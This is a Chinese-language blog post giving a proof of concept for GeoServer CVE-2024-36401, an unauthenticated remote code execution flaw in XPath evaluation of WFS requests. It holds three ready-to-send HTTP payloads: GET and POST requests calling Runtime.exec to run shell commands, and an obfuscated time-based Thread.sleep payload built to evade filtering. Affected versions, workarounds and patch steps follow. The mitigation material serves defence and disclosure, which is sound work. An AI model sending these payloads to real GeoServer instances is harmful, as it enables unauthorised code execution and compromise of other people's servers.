GeoServer 远程代码执行漏洞 CVE-2024-36401 POC

漏洞描述

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

漏洞影响范围

包名受影响的版本修复版本
org.geoserver.web:gs-web-app>= 2.24.0,< 2.24.4
>= 2.25.0,< 2.25.2
< 2.23.6
2.24.4
2.25.2
2.23.6
org.geoserver:gs-wfs>= 2.24.0,< 2.24.4
>= 2.25.0,< 2.25.2
< 2.23.6
2.24.4
2.25.2
2.23.6
org.geoserver:gs-wms>= 2.24.0,< 2.24.4
>=2.25.0, <2.25.2
< 2.23.6
2.24.4
2.25.2
2.23.6

漏洞细节

GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有GeoServer 实例。

POC 1 GET请求

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

POC 2 post请求

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

熟悉的java.lang.ClassCastException错误,说明命令已执行成功。

图片[1]-GeoServer 远程代码执行漏洞 CVE-2024-36401 POC-XSS博客

进入容器可见,touch /tmp/success1touch /tmp/success2均已成功执行。

图片[2]-GeoServer 远程代码执行漏洞 CVE-2024-36401 POC-XSS博客

值得注意的是,typeNames必须存在,我们可以在Web页面中找到当前服务器中的所有Types:

图片[3]-GeoServer 远程代码执行漏洞 CVE-2024-36401 POC-XSS博客

POC 3 基于时间的测试

如果有人难以重现 CVE-2024-36401,请尝试此有效载荷

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
/+java.lang.T<!--IgnoreMe!!!!-->hread.s[(: IGNORE :)]leep
 	<![CDATA[
(2000)
]]>
  </wfs:valueReference>
</wfs:GetPropertyValue>
图片[4]-GeoServer 远程代码执行漏洞 CVE-2024-36401 POC-XSS博客

影响

此漏洞可导致执行任意代码。

解决方法

有一种解决方法,即从gt-complex-x.y.jarGeoServer 中删除x.yGeoTools 版本(例如,gt-complex-31.1.jar如果运行的是 GeoServer 2.25.1)的文件。这将从 GeoServer 中删除易受攻击的代码,但可能会破坏某些 GeoServer 功能,或者如果您正在使用的扩展需要 gt-complex 模块,则可能会阻止 GeoServer 部署:

部署缓解措施geoserver.war

  1. 停止应用程序服务器
  2. 解压geoserver.war到目录
  3. 找到文件WEB-INF/lib/gt-complex-x.y.jar并删除
  4. 将目录压缩到新的geoserver.war
  5. 重新启动应用服务器

GeoServer二进制文件的缓解措施:

  1. 停止docker
  2. 找到文件webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar并删除
  3. 重启 Jetty

已知以下扩展和社区模块直接依赖于gt-complexjar,如果没有它,则无法正常运行。这不是完整列表,其他 GeoServer 功能可能取决于gt-complexjar 的可用性:

  • 扩展:应用程序架构、Web 目录服务、MongoDB 数据存储
  • 社区模块:功能模板、OGC API 模块、智能数据加载器、SOLR 数据存储

先前版本可用的补丁程序:

  1. 可以从 GeoServer 发布页面下载修补程序gt-app-schemagt-complexjar gt-xsd-core:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0。
  2. 要使用,请按照上述说明找到WEB-INF/lib文件夹
  3. 用补丁程序提供的替换gt-app-schemagt-complexjargt-xsd-core

参考

GHSA-w3pj-wh35-fq8w
https://osgeo-org.atlassian.net/browse/GEOT-7587
geotools/geotools#4797
https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容